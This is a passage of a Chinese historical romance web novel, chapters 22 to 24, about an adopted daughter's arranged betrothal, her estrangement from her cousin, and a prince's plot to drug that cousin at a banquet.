祁清宴恰巧在院中。他昨日住在府内,早起一身束紧手腕的月白袍子,玉冠束发,不知此刻为何出现在这里。 祁云漪小小的人儿,已经知道美丑,从祁泠怀里跑出去,“三哥哥。” 祁云漪亲切围着祁清宴,目光落在他腰侧,指着他香囊旁边挂着的东西,好奇问:“三哥哥,这个亮亮的是什么呀? “是从海上运来的琉璃。”祁清宴将腰间系着的琉璃珠子解下来,一整串递给祁云漪。 祁云漪举高,曦光微弱,可映在光下这串珠子还是晶莹剔透的漂亮,她从没见过,稀罕地捧着瞧。 小的安静了,祁清宴望向祁泠。 她在府中一向不打扮,只着一身寻常的对襟短襦,搭着白兰条纹间色裙,腰间系帛带系紧,堪堪挽起半头顺滑的青丝。 祁泠侧着半边身子,未抬头望他,垂眸让人看不清神情,敛衽行了个礼,淡道一声:“堂兄。” 堂兄。 祁清宴在心中仔仔细细、反反复复品着这两个字,从没想过简单的称呼能变得如此刺耳,明明她早些时日一直都是这么喊的。 只是听过了亲切又依赖的兄长—— 这两字变得如此惹人烦躁。 他倒宁愿她生气不理会他,起码那算得上是置气,娇嗔,而不是这样的疏离。 听荷闻声迎出来,老夫人用早膳前她最是忙碌,既要侍奉老夫人,又要看菜,她自然十分喜欢祁泠在这个时辰来,能帮她给老夫人夹几个菜就是好的。 听荷向三位主子问了安,在前引路,先将二房的姐妹迎了进去。 祁清宴压下思绪,随之进了瑞霭堂。三人陪着祖母用膳,用过膳后,他明正言顺地给两个妹妹分了东西,送到祁云漪手中的是个琉璃的小兔子,正应了她的属相。 而祁泠是一对琉璃镯子。 锦盒递到老夫人面前,老夫人打开,内里装着琉璃簪子,看花瓣应是莲花,层层叠叠堆起,花内里缀着珍珠,缠着银丝固定,三朵大小不一的莲花簇拥一处,晶莹的叶作配,蓝汪汪的通透,好看极了。 她拿起来都啧啧称奇,贵重倒是其次,只是太难得了,“听说这东西极难定形,不像金啊银啊能弄出形状来,这个花竟然这么像,又是如水碧蓝,真是难得。” “只可惜,我戴上都成老妖怪了。”沈老夫人呵呵笑,将祁泠唤到近处,将簪子别到她发间,“正巧你戴,多好看。” 沈老夫人何尝不知祁清宴的意思,她哪能戴出去这样的簪子,他又赶着祁泠在的时候给,想给谁态度很明显了。 衬得美人如秋月,韶颜雅容,高不可攀。祁泠很快取下簪子,拿在手中,回座位后放在锦盒中央,她身旁的祁云漪拿起来瞧,很是喜欢的模样。 祁泠低声问:“给漪漪长大戴好不好?” 祁云漪“哇”一声,连说好几句谢谢姐姐,对此爱不释手,小孩子对大人要用的东西很是新奇。 只是祁清宴的脸色就不是特别好看了,簪子事小,但他不会傻到此时还不明白—— 祁泠一直在刻意避着他。 赶在他不在府中的时候来请安。他在府中,她就极早来,或是根本不来。 连东西也不要,即使从祖母手中转送过去,因为是他送的,所以她看都不看,只想赶紧不再自己手中。 祁泠起身,什么都没拿,只道:“祖母,我先回去侍奉母亲,留漪漪在这里,我午后再来接她。” 沈老夫人笑着应好,等祁泠行礼离开后,斜睨了祁清宴一眼。活该不活该,将人惹生气了吧? 祁清宴亦起身,“祖母,我明日再来。”匆匆留下一句,他便追了出去。 第22章 第二十二章【VIP】 已近秋日,早间凉意如水,浓郁起来的曦光照散雾气,呈现一片湛蓝的苍穹。祁泠出了瑞霭堂,指尖发冷,准备回辛夷阁加件外衣再去冯夫人处。 “祁泠。” 有人在唤她。 熟悉的声音。 祁泠不想理会他,可正在瑞霭堂的院子里,晨起的侍从四处洒扫,院中发生的事躲不过老夫人的眼。 老人家就盼着儿L女一团和乐,不愿见家中生出隔阂。她不想让老夫人为此烦心,于是,转过身去,行了一礼。 没说话。 祁清宴仿若察觉不出她过于冷淡的态度,主动开口道:“眼下有几桩亲事,我已祖母提过,你若有空不如随我去仔细挑挑。” 一听到婚事,祁泠心头涌起无奈,她抗拒但又知道这是躲不掉的事。 在祁家她身份尴尬,又生了拒婚一事得罪了人,婚事还是早些定下才好。她垂下的长睫颤了颤,想好之后答道:“祖母选就好。我要侍奉母亲,便不去叨扰堂兄了。” 礼数也变得周全,语毕便俯身行礼,欲要离去。 她竟不上心自己的婚事了?之前还不是打定主意要选一门好的婚事,拒了皇室的亲,今天居然连一句话也不说了。 是单纯不想说,还是不想与他说。 前一阵在瑞霭堂看着她跪在地上,含泪说愿守家庙不再家人时,那种又烦又闷的异样又涌出来,搅得人心绪不宁。 祁清宴压下莫名的情绪,道:“你自己不选,便由我替你择。” 她能放心吗? 祁泠当然放不下心,他能有将她送去皇家做妾的念头,选出来的能是什么好亲事。 她对夫婿人选不上心,但也没有灰心丧气到对之后的日子完全不在意。 祁泠扬起头来看他,紧抿着唇,下颌绷着,清丽的面庞上因此透出几分倔强来,直白问:“这是威胁么?堂兄。” 祁清宴默了默,眼中波澜凝皱,只道一句,“随你。”便转身离去。 祁泠握紧袖口边缘,内心百般不愿,可也做不到对婚事毫无反应,只能任他以此拿捏。这时她脑海突然涌起一个念头,早日定下婚事就好了。 如果能早些从祁家嫁出去就好了。 今日去一趟?又能如何。 祁泠到底跟了上去,她虽想快些回二房去,可祁清宴在前走得不快,她不想与他一起走,只能放慢脚步。 好一阵儿L才走到琅玕院。 沉弦又见到祁清宴和祁泠一同归来,他迎过前面的郎君,几步跑过去与祁泠说起话来,“好有一阵子没见到娘子……娘子许久没来了。” 其余人是没算计她的,琅玕院不是只有祁清宴一人。祁泠紧绷着的心在看到沉弦时略微放松了些,她仔细瞧了瞧沉弦,“……好像长高了些?” 沉弦不好意思,垂头露出个含蓄又带着羞赧的笑,捏了捏衣袍,“娘子瞧得没错,我这些时日总是饿,吃得多,贡家哥哥也说我这阵子长高了。” 两人的声音不大,但琅玕院本就安静,祁清宴方走到院中,青娥与从大夫人院中回来的碧若迎上来,那边闲谈声随风悠荡荡的飘进耳中。 “青娥,带三娘子去书房。”他吩咐道。 青娥应是,快步走去沉弦身前,对着祁泠道:“三娘子,郎君有事,劳烦娘子先去书房等一会儿L。” 祁泠嗯了一声,转头与沉弦道:“上次我看你很喜欢吃甜的,你白日无事可以去二房玩呀,二房的膳房里头有许多小孩子爱吃的点心吃食。” 沉弦当然乐意,只是不好意思去,祁泠邀他,他害羞地点点头。 祁泠随着青娥去了书房,她不愿坐,站在书房中,青娥也没办法,回去端些糕点来,放在侧旁案桌上,又泡了花茶,“娘子吃些点心垫垫肚子吧,有什么想吃的也可以告诉奴婢,奴婢再去准备。” “不必了,这些便好。”祁泠朝着青娥露出温温和和的笑,青娥这些时日悬起来的心才落了回去。 看来只是闹了些小矛盾。脾性再好的女儿L家也会有生气的时候,两人和好便好了。 只因三娘子是最常来琅玕院的主子了,不知是不是她的错觉,这段时日琅玕院又恢复了往常的寂静,或许比从前更冷上几分。 青娥道:“那娘子等等郎君,奴婢先下去。” 人。 盛夏已过,内里的冰鉴撤了下去,其余摆设与往日没有不同,他倒是放心将她自己留在这里。 ,只站在窗边,望着一片竹林,几只鸟儿L在内里蹦跳。 …… “妹妹。” 祁清宴从远处走来,方沐浴,身姿欣长,不染凡尘,宛若一块温润的羊脂玉,亲,一如从前。 “堂兄不是说挑了夫婿人选?”祁泠问。 她做不到对之前事毫无芥蒂,又同他做起嫡亲的兄妹来。说不定何时因为她没长心眼,又被他算计进去。 祁清宴静默走去书案前,拆开三封书信,一一摆在桌上,道:“一为宋家的长子,在御史台任职,年岁长些,来日官路坦途。二为交州刺史之子,不常归建业。最后是何家幼子,其父原在建业任尚书侍郎,近日辞官将回宣城老家。” 书信上面细细写了家世。 祁泠过去,垂着头简单看过。他算是按照她从前的要求择的,连家中有无通房妾室都写了上去。 前两家皆是士族,最后何家原为寒门,几代从商,到何父一辈才入了建业官场。 宣城,她视线略一停顿,想起宣城在江州附近,若定要远离建业,她更想回到熟悉的江州附近。 “这家便好。”祁泠将写着何家的书信拿出来。书信开头为:何家子,名岫,其后满满一页皆为家世人品。 她根本没细看,选的如此草率,祁清宴还欲再说,但祁泠已说告辞,不愿同他多说一句话,离开了琅玕院。 只留祁清宴看着那三张书信,忽而几分烦闷,不禁挑剔起来,万一对方样貌丑陋身怀恶臭呢? 沈老夫人很快便知道祁泠选了何家。正好何家还在建业,便邀了何家人上门,不说相看,只是寻个由头见一见。 何氏母子上门拜访时,沈老夫人将冯夫人和祁泠都唤去。 冯夫人从老夫人这处听到信儿L,回去也和祁观复一起将对面的底细查得清楚,确实家世清白,不过是寒门出身,其父官路已断,他又是家中幼子,恐怕日后没有大前途。 与这样的人家结亲,只有祁家挑人,没有对面挑选的份。 沈老夫人坐在上首,旁边是冯夫人。何氏母子进门请了安,众人只见何岫容貌昳丽,面若好女,出身不显,却不卑不亢,依次向上首的夫人问了安。 内里皆是女眷,他请安过后便先离开了。 祁泠站在屏风后,等人走了,出来简单向何母问了安。 何母一身棕色深衣,发髻全束起来,衣着不像贵妇人那般精致,却整齐顺眼,一张圆圆的脸笑起来很是和气从容,说话温声细语,又圆滑让人挑不出错处来,只是眼神常瞄向冯夫人身边的祁泠。 沈老夫人问:“听闻家中幼子聪慧,不知来日有何打算。” 何母也是个比较真诚的人,或是说看得清,祁家哪个子弟将来不是有大能耐的人,她再夸大也无用,便道:“幼子是有几分聪慧,但性情顽劣,不喜读书,只精通书画音律,来日出仕或是留在宣城,由他去便罢了。” “也好,寻常安稳便足矣。”沈老夫人倒是满意,不过孩子又不是她亲手养大的。 老夫人望向冯夫人,询她意思。 冯夫人对何家家世有些不满,也不想让祁泠远嫁。但见郎君样貌好,与祁泠相配,举止不扭捏,不是心有大志便是心性过人。何母看起来不是个迂腐妇人,既然娶了祁家的女儿L,做不出借着身份欺负儿L媳的事情。 她也轻轻点了头。 这两位夫人的眼神来往被何母看在眼中,她大概知晓了对面的意思,心中欢喜也不明显表露出来,婉拒老夫人留她祁府住几日,带着儿L子回府筹备聘礼。 沈老夫人又再问祁泠可愿意。 这样的日子,婆母不敢磋磨,夫婿看得过去。虽不知他品性,但如老夫人从前所说,只要祁家一日不倒,她在家中便永远被尊着敬着。 祁泠说不出拒绝的话。 …… 祁清宴这几日常住外面,忙得焦头烂额,方有几日闲暇,从燕府出来,坐上回府的马车。 沉弦这些日被他安排呆在祁府,今日随祁家马车来接他,坐在对面角落。祁清宴阖目养神,一手落在眉上,忽而问:“婚事如何了?” 沉弦实诚道:“挺好。” 祁清宴睁眼,眼神望过去,沉弦顿了顿,才仔细说:“老夫人中意,二夫人一开始不大满意,但后来何家愿意以一半的家财当聘礼求娶,二夫人也同意了。” 祁清宴嗓中溢出一声呵,倒是聪明。他们从家里拿出去,转个头又回去了,祁家还能亏待不成他们不成?也不差他们家一点东西,却不知冯夫人只是看个态度罢了。 沉弦感觉郎君不大满意,又补充道:“何家郎君很好看,大家都说与三娘子般配。” 祁清宴冷冷道:“容色若女,焉知其心思如何?招蜂引蝶之辈或是举止孟浪之徒也未可知。这就定下,祖母和二叔母太过草率。” 沉弦低下头,揪着手,不知该如何说,说满意也不行,那他要说什么?祁清宴又问:“还有什么?” 沉弦绞尽脑汁想了许久,才又想起来一点重要的,“何家夫人说何岫在宣城的祖父病重许久,恐怕时日不多,一旦过世,何岫要守孝三年,到时婚事拖得太久了,想年末娶妻。” “年末?”如今已然秋日,岁末不过几月,祁清宴不满,蹙紧眉,“也太急了些。” “是,老夫人也是这么说的。”沉弦道,“可何家其他都好,全都随了咱们家,就这一点请求,老夫人去问了二房意思。” 她应当也是不愿的吧,她对祁家旁人没有感情,但想陪在冯夫人身边。 沉弦却道:“冯夫人说听三娘子的,三娘子说愿意。” 第23章 第二十三章【VIP】 辛夷阁内比往常喧闹,洋溢着丝丝喜气,丫鬟仆妇整理着妆奁、衣箱,热火朝天。 冯夫人落座在堂室门旁的扶手椅上,她靠着祁泠刚递过来的引枕,右手拿着一张单子,吩咐着来往搬东西的仆从,“陈的旧的搬到你们娘子后面空着的耳房去,可着新做的留在屋里,来日好带走。” 婚期没彻底说定下来,但两家商议了几句,便也八九不离十了。 冯夫人自然是舍不得祁泠嫁的那么远,她养在身边,看着长大的孩子,没从她肚子里爬出来,也染了她五分脾性。 女儿远嫁,说不准几年之后才能见面,或是……此生是否会有再相见之时? 因此,冯夫人恨不得将所有的好东西都拿出来。也拿得差不多了,云漪尚小,来日有亲父帮衬,冯夫人将她年轻时的首饰融了,重打了新样式的簪钿钗镊,用存起来的好薄纱给祁泠裁了新衣裙。江州热,旁边的宣城也比建业热,穿些凉快料子才好。 祁泠抱着祁云漪坐在美人榻上。屋内热热闹闹,好似许久都没这么和乐一整天过了。 她还劝阻过冯夫人,不必为她准备这么多衣裳首饰,她冬日去宣城,将四季的衣裳全都备出来作甚? 再说,她嫁去何家,衣食无忧,但到底比不得士族煊赫无忧,上有婆母,下有妯娌皆出身不高,平日衣着朴素不喜张扬,从何母的打扮就能看得出来这点。 虽有华衣美服,簪环耳珰,但日后嫁去何家,少不得要久搁起来,不能招摇常戴。 可冯夫人本就觉得委屈了祁泠,又是个固执的人,怎么会听祁泠的话。她嘱咐这些不是单纯的物件,结交送人,或是典当都可以。 祁泠只能听话,乖乖等在一旁,暖意盈满周身,不是喜欢这些身外之物,只是心口被冯夫人的母亲关怀填满。 但只要一想到要嫁去何家,远赴宣城,那似乎是一场虚幻。 她想象不到那时的情景。 “夫人,找到了。” 玉盘侧身走进屋子,两只手勉强端住衣箱一头,银盘满头大汗跟着进来,抱着另外一头。 冯夫人抬手轻轻一指,这上用混金粉的赤漆描的荷花缠枝纹路衣箱便被玉盘放到了祁泠榻旁。 这自然是给她的,瞧着外面样式,内里怕是贵重的,祁泠为难道:“母亲,我的衣裳够穿了,三五年不裁新衣也够了……” 冯夫人闻言眼中闪过几丝诧异,与旁边的嬷嬷相视一眼。嬷嬷捂唇笑:“娘子诶,你可真是忘性大。” 祁云漪早已耐不住性子听母亲姐姐绕来绕去,大人说话间,她扑通一下从祁泠怀中跳到地上,打开衣箱,顿时哇了一声,眼睛都要看直了,嘴里不停念叨着好看。 内里叠放着绛红嫁衣,绣纹繁琐。 嫁衣。 祁泠才想起来,这嫁衣的花样还是她亲自选的,自己绣了领口处,不过那是一年前的事了。提前准备的嫁衣刻意留长了袖口衣摆,婚前应再改改。可与卢家的婚事没成,这嫁衣也长久地放了起来。 这孩子的反应显然是没上心的,其实她对从前卢家的婚事也淡淡的,不然怎会忘得干净? 冯夫人一时不知是好是坏。好在没有心,就不会因为争吵分分合合而伤怀人心易变。不好也有不好的地方,说情谈爱总要两情相悦才好,难过有伤情的感怀,情浓时又是另一番甜蜜滋味了。 还要祁泠自己去看,冯夫人教不了她。她自己已然失败了。 冯夫人收了思绪,开口道:“想着让你再试一试,看看可还喜欢这个样式花样吗?过几日让绣娘再送几套与这个相似的款式来选。” 玉盘随着祁泠走进内室,帮她换过嫁衣,祁泠走出,她被勒得些许喘不过气,低头指了指,道:“腰间、胸口都窄了些。” 不用冯夫人吩咐,玉盘自然记下来,上前要服侍祁泠回去换下。 祁泠却没动,手心碰到繁琐用金线锁边的袖口,袖子留长了,她唤一声道:“母亲。”对上冯夫人的视线,同冯夫人道,“不必再新裁一件嫁衣,这件改改就好了。” 她方才在内室,换好了嫁衣,看见映在铜镜中的女子,单鬓别青钗,裙作红嫁衣,只得两字怪异而已,察觉不到一丝喜意。 冯夫人皱眉,欲阻拦,但们一月能赶出来嫁衣,她只需自己再绣个领口也不愿。冯夫人道:“阿泠,之前的婚事没成,这,还是再做一件好。” 祁泠对婚事无感,自然也不相信吉利不吉利的话。 她知她,他们是娶祁家的人,是谁都可以,只是为了全家身处宣城远离建业也能安然无恙。而她? 两家各怀心思,皆有二心,无可辩驳。婚仪环,亦无需多费功夫去做新嫁衣了。 她看得透彻,只是将这些说于冯夫人听,只能惹冯夫人伤心,毕竟在冯夫人看来,无论是谁娶了她的养女都会为其倾倒。 “一件衣裳,又与样说,那我整日穿着吉服来回走动才好呢。”祁泠眨眨眼,笑起来, 她难得有几分女儿家的娇嗔,冯夫人哪里有不依的道理,思索一番后对着玉盘道:“你去府中绣房走一趟,寻张绣娘。这嫁衣繁琐,改得好比做得好难,她的绣工出了名的好,当年与我相熟,如今怕是不常亲自动手,你说算是我央了她的,按你们娘子说的地方改改胸口和腰身。再把各处金线抽出去,只留些领口袖口的金纹。低调些才好。” 冯夫人身为母亲,处处都考虑的周全。 玉盘仍叫了银盘与她一共去,姐妹两个离了二房,也得空好好说话。 玉盘侧头去看银盘,略为严肃问:“银盘,你可想好了,要不要与三娘子同去宣城。你要是不想去,趁早在三娘子发话前开口。三娘子一旦说要带你,你怎么也得跟着去了。” “娘子才不是阿姊说的这样。娘子还没提,但她要带我,肯定会先问我愿不愿意的。”银盘撇撇嘴,不服气地回嘴道。 玉盘想戳戳傻妹妹的脑袋,又腾不出手去,轻将箱子往后,碰了碰银盘,“你就说去不去……是你不想去但抹不开脸面,对吧?自有我为你在夫人面前开口,惹夫人不愿也不能让你远走。” “我怎么会!” 银盘音量突然拔高,吓了玉盘一跳,当下人哪里能一惊一乍?银盘绝对是在三娘子身边呆得太过安逸了,她一句死丫头还没骂完。 银盘低垂着头,脚步也慢了下来,语气蔫蔫的,“我怎会不跟着娘子一起去?她根本就不想嫁,每日在夫人面前强颜欢笑,晚上总是睡不熟,又不弄出大动静,怕惊动小娘子。好几次我起夜时都看着娘子靠坐在床边,不知在想什么……我若是不去,娘子身边更没有人了。” “我怎会不和娘子一同去宣城呢。”她又喃喃,自己重复了一遍。 玉盘心里说不清滋味,感慨妹妹也不是粗枝大叶,同时又有几分伤感,想问她,那就不要爹娘和姐姐了啊? 可随即,她*又想起银盘大多数日子都和三娘子在一处,感情深厚非一般人可比拟。她将话咽下,只低声骂了句,“死丫头。” 银盘很不喜欢姐姐方才说的话,哼了一声不回答。 两人搬着东西,又全神贯注说着话,没注意到前路,等玉盘回过神,一眼看到迎面走过来的祁清宴还有他身后的书童。 她心思多,比妹妹多生了心窍,转念就想到方才的话不知被听进多少,也不敢怪人家主子走路没声,只庆幸自己没说太多不对的话,领着妹妹请了安。 祁清宴垂眼看了看,缠枝荷花的图案,箱子最右边还纂刻小字——锦瑟相合。 刺眼又让人不悦,他问:“这是何物?” 二房的人本就不常在老宅走动,三郎君问也是应当。玉盘老老实实地回答:“是三娘子的婚服,二夫人让奴婢送去绣房,托张绣娘改上一改。” “为何要改?” 往日寻常事不过问,在他面前说他都嫌烦的人,主动问起这样的小事。 玉盘依稀记得三娘子之前与三郎君关系好,两人闹崩的事除了老夫人外也没几个人知道。 坏处便出来了。玉盘只以为当兄长的关心妹妹,冯夫人不也是不想让娘子改?她准备回答,又不能说三娘子长高了腰身明显,胸前丰腴了,这是要同张绣娘说的话。 玉盘想起来夫人嘱托的另一回事,其实她也一知半解的。不是大事,她索性放下衣箱,掀起来,让祁清宴亲眼看。 只见箱中嫁衣红如火、艳如霞,衣领处金线绣云,兼有并蒂缠枝莲。 祁清宴垂眼,视线停驻其上,几瞬,又挪开,道:“何家为寒门,用金线刺绣,不合礼制。” 玉盘才明白,应是,合上衣箱,为祁清宴让路。 祁清宴走出很远,过了许久,嫁衣的模样仍留在脑海中,那抹红迟迟未能消散。 绛红。 他似乎还没看过她穿那样鲜艳的颜色,她寻常也不穿,估计是见不到了。送她出嫁的兄长怎么也轮不到他,他也没能闲到有空将她送去宣城,一来一回就要费上不少时日。 而且,只怕他去,她亦是不愿的。 女娘远去的背影和疏离的态度便又浮现出来,带来不能平息的情绪。 他这几日一直在想,她若是聪明,便该知道即使出嫁之后,她的依仗依旧是祁家,而不是扶不起来的夫家何氏。她与他交好没有坏处,只有数不清的好处来。 可她偏偏,就是疏远他,连二房与她有大仇的软性子祁雪峤都亲近。 “……三郎?三郎?” 祁清宴回过神,发觉他已然离开祁府许久,到了谢子青选的酒肆,外间歌舞声弥漫,让人烦躁不止。而他竟然在这里也能走神,想一些乱七八糟、扰人神思的东西。 他端起酒水,轻轻抿了一口,酒水的辛辣刺激舌头,之后回甘上来的是香醇。清酌诱人,他却放下,不再拿起。 谢子青凑过去八卦问:“三郎,你和你的三妹妹和好了么?” “你可真是闲。”祁清宴睨了他一眼,眼中的嫌弃几欲溢出来。 但从小玩到大的,熟人面前一向没皮没脸的谢子青怎会在乎,又猜着问:“你们家最近和何家走得近,你妹妹要嫁出去了?” “你倒是消息灵通。”祁清宴将手中写好的一封小信卷起来,塞进竹筒中,烧热了蜡,密封住,递给身后的沉弦。 沉弦接过,揣进袖子里,两只手缩到一起,含糊低着身子跑出去,混进人群中去,小孩子不惹人注意,一溜烟跑远了。 等到门阖严,谢子青几步走到一旁,斜斜倚在榻上,姿态放松,全当祁清宴是在夸他。 忽而,他以手支额,笑了一声。笑声清朗,隐有开怀。 祁清宴只是望过去,还没开口问,谢子青便长叹一声,“你若真有心,纳了你那妹妹也未尝不可。” 祁清宴一愣,眼睛缓慢眨动,旋即领悟谢子青话中意,眉峰顿时紧聚起来,压着的眸色深沉,显露出一种凝不开的困惑以及深深的惊愕,“你在说什么?” 谢子青眉眼微微上扬,瞧着祁清宴,他从小到大的友人,太过熟悉,才能看出任何一丝怪异。他拉长音,语气颇为玩味,“不就是你那三妹妹——” “也不算妹妹。”他笑,“族谱没上,与你又没有血缘,充其量是寄住在家中的养女。你对她有几分在意,何必整日神思不宁。” “自纳了,又何妨?” 第24章 第二十四章【VIP】 谢子青说起来便停不下,抚膝摆出欲要长谈的架势:“你对她大有不同,若是旁人,你不会放在心上。再者,我看她对你也不一般,一昧冷着你,但她有没有想过,真得罪了你,她的日子只会更不好过?不过下意识知道,你也不会真的伤她罢了。” “古往今来,多少风流之事,而今一层虚名而已。你要是嫌名声不好听,不认她为祁家人不就好了。” 祁清宴不知在没在听,缓缓收好案桌上的笔墨,抬手另外一张看过的小信置于烛台之上,垂眸静看火舌吞没纸张。 他松手,空中飘散漆黑的余烬,散落桌上,被风吹起,再无痕迹。 自问于心,他确实不愿意祁泠与他疏远,将此归咎于祁泠对他忽而冷淡,让他一时难以习惯。 当初的利用也不悔,对于祁家养女而言,这举能报祁家的养恩。她不想与卢家结亲,婚事难遇,为何不能送去王府,或许权力地位是她所愿,不是两全其美? 但他对她生出怜惜,连他自己都未曾察觉从何处而起的怜惜。或许因她总是天真,与人和善,对旁人总睁着一双稚嫩的眼睛,防备警惕着,可只要对她好些,她便会露出乖巧的柔软来,让人想与她亲近。 让她独去王府也不悔。 她是祁家的人,总该能独当一面,若被一个年老的王妃和皇子逼迫,没有丝毫的考虑,便将自己托付出去,那才是真正的无用,反倒堕了祁家这么年来积攒的风骨,不如让她去了,还能引得王府后宅内乱。 她是祁家的人。 他只是后来将她当成可以亲近的妹妹。 比祁望舒更亲近,最好嫁到他身边,由他长久庇护的妹妹。 祁清宴这般告诉自己。 谢子青荒诞的提议说出来有一阵了。祁清宴才道:“她是祁家人,善正,莫要用此事与我玩笑。” 说不明白啊。 谢子青嘴角含笑,不慌不忙地理了衣袖上的褶皱,“我只是想到就说了,你拿她当妹妹,也是她的福气,来日咱们路过宣城,一同去看看她和何家小子便好,那时逗弄一下他们孩子,听闻何家郎君风采过人,你也是会挑。” 祁清宴神情复杂,谢子青这话说得太过故意,他无奈又喊了一声,语气隐有提醒,“善正。” 谢子青站起身,“好了,算我失言,不与你说了。只是看你总是对女子避之不及,好不容易有个苗头,才着急了些么?” 他也是刺激祁清宴一下。祁清宴是祁家大房的独苗,祁家的老太太怕是急死了要给他娶亲,他能扛到如今也是稀奇。 周围也没有莺莺燕燕,对任何的貌美女子避之不及,每次出入风月场所都是独自坐到一处,不到片刻便离席而去。 祁清宴不说缘由,谢子青也不明白,只当他性子怪罢了。 门被轻叩两声,贡承在门口压低声音,“两位郎君,五皇子来了。” 谢子青笑看了眼祁清宴,来找茬的,想要人家当妹妹,不光要解决她婚事,将其嫁出去,还要替她处理这些麻烦事。 来人到底是皇子,没有不让其入内的道理,表面还要做出一团和气的模样来。 楚徇锦袍玉带,意气风发,只是当日被祁泠当面拒婚损了几分心情,身处高位见不得反抗,被激起来怒意来。 此刻,他见到案桌旁的郎君,衣着端正,那双幽黑深邃的眸子总是平淡,但内里又聚着疏离,高高在上,怒意又被勾了起来。 那股子清高,祁清宴更明显,他那个低贱的妹妹则含蓄些。总之,这对姓祁的兄妹在楚徇看来一般可恶。 背后再巴不得对方去死,表面上还是笑,楚循道:“这不是祁家三郎?真是巧,本宫听说你在,特意来与你们小聚。这回时机正好,可不是偏僻的庄子,夜里只有祁三郎与妹妹两人。” 谢子青暗暗吃惊,眼神飘向祁清宴。 可还没彻底明白,自认为清白的人是不会因此而心虚的,祁清宴道:“五皇子殿下事务繁忙,还能记清我与妹妹,真是有心。只不过舍妹名节为重,还望殿下不要随意提她。” 他过于坦荡,又是一副谁也瞧不上的死样子。楚徇倒不是真怀疑他们有关系,祁家背后搞的小动作他也都知道,那个祁泠快嫁人了,他说这话也只是膈应一下祁清宴,没得到对方气急败坏的反应也是正常。 一计不成还有一计,笑,“本宫今日又带来一位郎君,想来,祁三郎也是识得的。” 卢肇月走进,给内里两位郎君行了礼。祁清宴如今只觉得当初祁泠没嫁到卢家去真是对了,趋炎附势之辈,若是祁泠再被看上,怕不是会做出送妻之举? 卢肇月也暗恨祁清宴,每次见到他都会想起当初板上钉钉却没了的婚事,但他只从表妹杜仙露那里猜到祁清宴故意不让祁泠嫁过来,好拿她做人情,不知道他在王府又做了什么手脚。 ,当祁泠是一时糊涂,受了蒙蔽,如今没送去王府,却被祁家嫁与一寒门,,当真可恨。 五皇子不光自己来,还带着一群舞姬侍从,纵情声色惯了,大变。他手下又去周围,子弟,无人拒绝,浩浩荡荡聚了十余人。 来回走动,四周的浮动着碧纱,随风飘着甜腻的酒香。 碧纱吹拂而起,中央的舞姬轻衣曼舞,佩环作响。乐姬穿着胡服,露出大片雪白的肌肤,抱着琵琶,轻唱着缠人的小调。 锦袍公子高坐席位,或举著笑饮,或抚掌大笑,高贵而散漫。 祁清宴不喜这等场所,谢子青知道他的性格,若有舞姬上前要给祁倒酒,他便揽腰将人带走。 但酒的甜腻与女子身上的脂粉味混在一起,祁清宴已有要离去的打算,他二人原本在此等人,如今看来也不必再等。 卢肇月时刻注意着祁清宴,见人要走,望向楚徇。 楚徇笑着抚掌,拍了两声,从门外走进一位娉婷婀娜的美人,端着酒水媚笑而进。 楚徇道:“这是本宫平定匪患时,带回来的当地酒,如烈美人,只这一坛,在座各位也尝上一尝。” 美人面纱覆面,先给楚徇倒了一杯,他一口饮了干净,举着与众人相看,其余人纷纷捧赞好酒量。美人便顺着座位,依次倒酒,倒酒时动作轻浮了些,到底还是守着几分本分。 到祁清宴面前,他道:“不必,我不喜酒。” 楚徇的脸色立刻落下,手中筷子猛得砸在桌上,“难不成是祁家三郎看不起本宫,连一口酒水也不肯用?” 谢子青为祁清宴解围,“殿下,他只是不喜这些,与我也是不喝的。品不好,反倒糟蹋了殿下的酒。” 楚徇冷冷道:“糟蹋倒是无碍,只怕祁三郎以为我不配,配不上祁家的女儿,我的人也不配给他倒酒。” “一杯酒而已,”谢子青望向祁清宴,面上笑着,内心也觉得今日的楚徇有些莫名其妙,但人家毕竟是皇子,此时也只能忍下。 美人走到近处,腰弯得极低,露出胸前一片白腻,酒水倒的极慢,随后忽而一声惊呼,整个人没有力气似的倒了下去,那边的世家公子还以为是郎君心急,起哄声涌起。 祁清宴岂会让来人这般轻易算计到,在人还没倒在他身上时,将人一把推开,倏然站起身来。 他忽而闻到一股奇异的香气,似甜又混着苦。 舞姬倒在地上,低声哭泣。 祁清宴面色铁青,脂粉甜腻的香气混着酒水食物的腥臭令他喉间泛起一阵又一阵的恶心,只能深呼吸来平复几欲作呕的反应。 他失了往日的从容,对着楚徇冷冷道:“这便是殿下的人?不知轻重,下贱至此,殿下当真是管教无方。” 语毕,他甩袖而去。 可谓一点没给楚徇面子。没说一就离席而去,可周围无人敢说话,开口指责他。 楚徇只是看了眼卢肇月,卢肇月点了点头,他转过头饮尽杯中酒,露出讽刺的笑。 不是清高孤傲么? 正如想看祁泠被折去傲骨后的乞怜,他也想看祁清宴身不由己的失态,只可惜,人走得太早了。 祁清宴坐在回府的马车上,贡承在外驾车,只听到内里郎君催促快些。 他很快反应过来,那香气有问题。 着人算计了,周身仿若被一团火烧着,喉间干渴,想的又不是水,意识还清醒着,那种反应只让人更恶心。 纷纷乱乱的痛苦记忆反复浮现在脑海中。 小时他喜玩闹,但母亲严厉,要他每日静坐读书练字,也总说要将他送去外祖父家长住。 可外祖父总是用棍棒打人,说一句话错做错一件小事,即使拿错东西都要被罚,他不想去慕容家。 那时祁观复还在府中,是家中对他最好的人,时常带他偷偷溜出去玩,笑着摸他的头,喊他阿质。 一日,他又被母亲责骂,说他比不过慕容氏的孩子,生在祁家学不了好,明日就要将他送走。 祁清宴那时还小,六岁都没有,他太害怕了,不想整日被打,跪在慕容氏黑漆漆仿若没有边际的祀堂里。他晨间依稀听到父亲要去的地方,哭着避开侍从要去找父亲告状,想留在府上。 每次他与父亲说不想做什么,父亲总能想到办法解决,哪怕为此与母亲吵架。 一位俊俏衣着华贵的小郎君不认识路,一路问着过路人,去找父亲,在过路之人异样的眼光下,到了地方。 小祁清宴不知那是什么地方,只是女子穿得极少,与他寻常看到端庄的夫人娘子不同,酒客肥头大耳口吐污言秽语,环抱着三两女子,摸上摸下,举止不堪。 他有些害怕,沿着角落走,好不容易找到了父亲的侍从,偷偷溜了进去。 本以为能见到父亲欣喜的表情,一如从前,将他抱起来,喊他阿质,说要带他去辽阔的北关,吹凌冽风沙,做不困于建业的郎君。 但他见到他最敬爱的父亲与一陌生女子滚作一团,与楼下的那些粗鄙之人并无不同,显露出狰狞的丑态。 那不再是母亲面前的儒雅夫君,也不是待他亲和的父亲。 小祁清宴浑浑噩噩地跑走了,回家去,病了一大场,病好后主动去外祖家长住。 